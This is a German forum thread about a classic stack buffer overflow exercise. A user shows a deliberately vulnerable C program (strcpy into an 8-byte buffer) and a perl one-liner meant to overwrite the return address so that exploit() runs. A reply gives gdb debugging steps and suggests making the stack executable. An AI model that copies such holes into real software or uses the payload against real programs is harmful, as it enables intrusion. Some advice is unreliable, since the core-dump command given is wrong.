BOF Problem - Stackoverflow funzt nicht ._.

Hi,

habe ein kleines Problem, dass ich mir nicht erklären kann.
Also ich habe ne Funktion main, copy mit dem typischen strcpy
und exploit, nun muss man also über das array in copy() schreiben
bis zum Return Instruction Pointer und diesen dann mit der Adresse von
exploit() überschreiben.

Hier zur Übersicht der Sourcecode von vuln.c
#include <stdio.h>
#include <stdlib.h>

void copy(char *string){
char vuln[8];
strcpy(vuln,string);
}

void exploit(){
printf("exploited");
}

int main(int argc, char *argv[]){

if(argc > 1){
copy(argv[1]);
}

}

Bildschirmfoto-6.png


müsste also folgendermaßen gehen:
./vuln `perl -e'{print "AAAAAAAAAAAAAAAAAAAA"; print "\x0e\x84\x04\x08";}'`
aber es kommt einfach nur ein "Speicherzugriffsfehler ohne die die
Konsolenausgabe in exploit()

Was soll ich nun machen? ._.

mfg,
Blackbox
 
Hallo,
1. Schritt: Core Dump erlauben. ulimit -s unlimited
So wird der Zustand des Prozesses in 'core' geschrieben wenn dieser crasht.

2. Schritt:
Führ dein Exploit aus. Nun sollte dort etwas wie Speicherzugriff (Core Dump erstellt) stehen und du siehst eine 'core' Datei im selbigen Ordner

3. Lade das core mittels: gdb vuln core

Mit 'i r' bekommst du angezeigt, was die Register zum Zeitpunkt des Crahses enthalten haben. Schau nach eip (instruction pointer). Dieser wird wahrscheinlich nicht die Adresse von exploit() enthalten (diese bekommst du, per 'gdb vuln', 'break main', 'run', 'print exploit').

Achja: Vergiss nicht, den Stack von dem Programm executable zu machen mittels execstac -s vuln. Man kann ansonsten später viel Zeit vertrödeln, wenn man versucht eingeschleusten Code auf dem Stack auszuführen.
 
Zurück
Oben